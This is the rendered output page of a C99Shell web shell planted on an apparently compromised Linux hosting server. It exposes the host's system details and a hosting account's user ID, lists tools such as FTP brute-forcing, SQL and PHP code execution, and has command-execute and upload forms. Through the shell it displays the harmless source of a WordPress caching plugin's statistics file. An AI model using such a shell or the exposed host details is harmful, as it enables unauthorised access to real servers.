!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/7.3.33 

uname -a: Linux acloudg.aryanict.com 4.18.0-513.9.1.lve.el8.x86_64 #1 SMP Mon Dec 4 15:01:22 UTC
2023 x86_64
 

uid=1095(katebhospital) gid=1098(katebhospital) groups=1098(katebhospital) 

Safe-mode: OFF (not secure)

/var/softaculous/sitepad/editor/site-data/plugins/speedycache-pro/main/   drwxr-xr-x
Free 290.48 GB of 429.69 GB (67.6%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     statistics.php (4.25 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/*
* SPEEDYCACHE
* https://speedycache.com/
* (c) SpeedyCache Team
*/

namespace SpeedyCache;

if( !
defined('SPEEDYCACHE_PRO_VERSION') ){
    die(
'HACKING ATTEMPT!');
}

class 
Statistics{

    static function 
init($extension false$size false){
        global 
$speedycache;
        
$speedycache->settings['static_extension'] = $extension $extension false;
        
$speedycache->settings['static_size'] = $size $size false;
    }

    static function 
get(){
        
        
$desktop_files get_option('speedycache_html');
        
$desktop_size round(get_option('speedycache_html_size')/10002);
        
$mobile_files get_option('speedycache_mobile');
        
$mobile_size round(get_option('speedycache_mobile_size')/10002);
        
$js_files get_option('speedycache_js');
        
$js_size round(get_option('speedycache_js_size')/10002);
        
$css_files get_option('speedycache_css');
        
$css_size round(get_option('speedycache_css_size')/10002);
        
        
$stats = array();
        
$stats['desktop'] = array('size' => $desktop_size'file' => $desktop_files);
        
$stats['mobile'] = array('size' => $mobile_size'file' => $mobile_files);
        
$stats['js'] = array('size' => $js_size'file' => $js_files);
        
$stats['css'] = array('size' => $css_size'file' => $css_files);

        return 
$stats;
    }

    static function 
update_db(){
        global 
$speedycache;
        
        
// We do not need stats if its a test
        
if(!empty($_GET['test_speedycache'])){
            return;
        }

        
$option_name 'speedycache_' $speedycache->settings['static_extension'];
        
$option_name_for_size $option_name '_size';
        
        
$current_opt get_option($option_name);
        
        if(!empty(
$current_opt)){
            
$current_opt $current_opt 1;
            
update_option($option_name$current_opt);
        }else{
            
update_option($option_name1);
        }

        
$size_current_opt get_option($option_name_for_size);

        if(!empty(
$size_current_opt)){
            
$size_current_opt $size_current_opt $speedycache->settings['static_size'];
            
update_option($option_name_for_size$size_current_opt);
            return;
        }
        
        
update_option($option_name_for_size$speedycache->settings['static_size']);

    }

    static function 
statics(){
        
?>
        <div class="speedycache-block">
            <div class="speedycache-block-title">
                <h2 id="cache-statics-h2"><?php _e('Cache Statistics''speedycache'); ?></h2>
            </div>
            <div id="speedycache-cache-statics">
                <div id="speedycache-cache-statics-desktop" class="speedycache-card">
                    <div class="speedycache-card-body">
                        <div class="speedycache-stats-info">
                            <span>Desktop Cache</span>
                            <p id="speedycache-cache-statics-desktop-data">
                                <span class="speedycache-size">0Kb</span><br/>
                                <span class="speedycache-files">of 0 Items</span>
                            </p>
                        </div>
                        <div class="speedycache-stat-icon">
                            <i class="fas fa-desktop"></i>
                            <!--<span class="dashicons dashicons-desktop"></span>-->
                        </div>
                    </div>
                </div>
                <div id="speedycache-cache-statics-mobile" class="speedycache-card">
                    <div class="speedycache-card-body">
                        <div class="speedycache-stats-info">
                            <span>Mobile Cache</span>
                            <p id="speedycache-cache-statics-mobile-data">
                                <span class="speedycache-size">0Kb</span><br/>
                                <span class="speedycache-files">of 0 Items</span></p>
                        </div>
                        <div class="speedycache-stat-icon">
                            <i class="fas fa-mobile"></i>
                        </div>
                    </div>
                </div>
                <div id="speedycache-cache-statics-css" class="speedycache-card">
                    <div class="speedycache-card-body">
                        <div class="speedycache-stats-info">
                            <span>Minified CSS</span>
                            <p id="speedycache-cache-statics-css-data">
                                <span class="speedycache-size">0Kb</span><br/>
                                <span class="speedycache-files">of 0 Items</span>
                            </p>
                        </div>
                        <div class="speedycache-stat-icon"><i class="fab fa-css3-alt"></i></div>
                    </div>
                </div>
                <div id="speedycache-cache-statics-js" class="speedycache-card">
                    <div class="speedycache-card-body">    
                        <div class="speedycache-stats-info">
                            <span>Minified JS</span>
                            <p id="speedycache-cache-statics-js-data">
                                <span class="speedycache-size">0Kb</span><br/>
                                <span class="speedycache-files">of 0 Items</span>
                            </p>
                        </div>
                        <div class="speedycache-stat-icon"><i class="fab fa-js-square"></i></div>
                    </div>
                </div>
            </div>
        </div>
    <?php }

}


:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.004 ]--